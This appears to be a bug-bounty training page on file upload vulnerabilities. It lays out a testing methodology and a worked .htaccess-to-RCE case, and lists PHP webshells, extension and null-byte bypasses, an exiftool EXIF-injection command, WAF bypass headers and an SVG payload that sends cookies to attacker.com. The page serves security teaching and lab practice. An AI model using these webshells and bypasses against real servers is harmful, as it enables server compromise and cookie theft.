File Upload Vulnerabilities
Uploading malicious files for code execution
Quick answer
What is File Upload Vulnerabilities?
File upload vulnerabilities let you upload malicious files that the server executes (webshells) or that carry payloads (SVGs with JavaScript, images with code in EXIF).
Severity
Critical
Frequency
Common
Payloads
13
Steps
6
Severity
Critical
Frequency
Common
Payloads
13
File upload is a broad attack surface: extension bypass, Content-Type manipulation, polyglot files, .htaccess override and more. The end goal is usually uploading a webshell that lets you run commands on the server.
Where to look
Avatar / profile picture
The most common vector. Try SVG, double extension, null byte.
Document upload
CVs, invoices, reports. Allowed extensions are usually broader.
File imports
CSV, XML, JSON imports can process dangerous content.
Content editors
Image insertions in WYSIWYG editors.
Config export/import
Backup/restore features that accept arbitrary files.
Methodology
Upload a legit file
Analyze: where it's stored (URL), what headers it returns, whether it gets renamed.
Try extensions
Change .jpg → .php, .phtml, .php5, .phar. Try double extension: shell.php.jpg
Manipulate Content-Type
Send PHP with Content-Type: image/jpeg in the request.
Null byte
shell.php%00.jpg — some parsers truncate at the null byte.
Try SVG
Upload an SVG with <svg onload=alert(1)>. If it renders, you have XSS.
If all else fails: .htaccess
Upload an .htaccess that redefines which extensions run as PHP.
Real-world case
File Upload bypass via .htaccess + custom extension → RCE
Restriction detected
The app blocks .php, .phtml, .phar and every known PHP extension.
Upload .htaccess
Upload .htaccess with: AddType application/x-httpd-php .l33t — redefines the .l33t extension as PHP.
Upload a webshell with the custom extension
Upload exploit.l33t with content: <?php system($_GET['cmd']); ?>
Execute commands
GET /uploads/exploit.l33t?cmd=whoami → responds with the server user.
Lesson: If the app lets you upload .htaccess, you can completely redefine which extensions run. It's a total bypass of the extension blacklist.
Payloads
Alternative PHP extensions
.phtml .php5 .phar .pgif .shtml .inc .phps
Double extension
shell.php.jpg | shell.php.png | shell.phtml.gif
Null byte
shell.php%00.jpg | shell.php\x00.jpg
Case variation
shell.pHp | shell.PHP5 | shell.PhAr
SVG XSS
<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'/>
Trailing chars
shell.php. | shell.php/ | shell.php%20 | shell.php......
Advanced payloads(account required)
Minimal webshell
<?php system($_GET['cmd']);?>
1-char webshell
<?=`$_GET[0]`?>
.htaccess override
AddType application/x-httpd-php .l33t
SVG with redirect
<svg onload="window.location='https://attacker.com/'+document.cookie">
Magic bytes bypass
GIF89a\n<?php system($_GET['cmd']); ?> (prepend GIF magic bytes)
JPG/PHP polyglot
Imagen JPEG válida con código PHP inyectado en campo EXIF Comment
MIME comma trick
Content-Type: application/json;,text/html → server=json, browser=html
Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
exiftool
Injects PHP code into the EXIF metadata of a legit image.
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
Burp Repeater
Manual manipulation of every upload parameter.
Intercepta upload → modifica filename + Content-Type → reenvía
fuxploider
Automates file upload bypass testing.
python3 fuxploider.py --url https://target.com/upload
WAF Bypass
Double Content-Disposition
Content-Disposition: form-data; name="file"; filename="safe.jpg"\nContent-Disposition: form-data; name="file"; filename="shell.php"
Boundary confusion
Usar dos boundaries diferentes — WAF parsea con el primero, app con el segundo
Tips
Always test SVG
Many filters allow SVG because it's an 'image'. An SVG can execute JavaScript in the browser.
Check where it's stored
If the file is served from the same domain with an incorrect Content-Type, there may be XSS or execution.
.htaccess is devastating
If you can upload .htaccess, you fully control what runs in that directory.
EXIF as a vector
If the app doesn't strip EXIF metadata, you can inject payloads that run when the image is processed.
Contenido relacionado
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice File Upload Vulnerabilities with real labs
Apply these techniques in safe environments based on real bug bounty reports.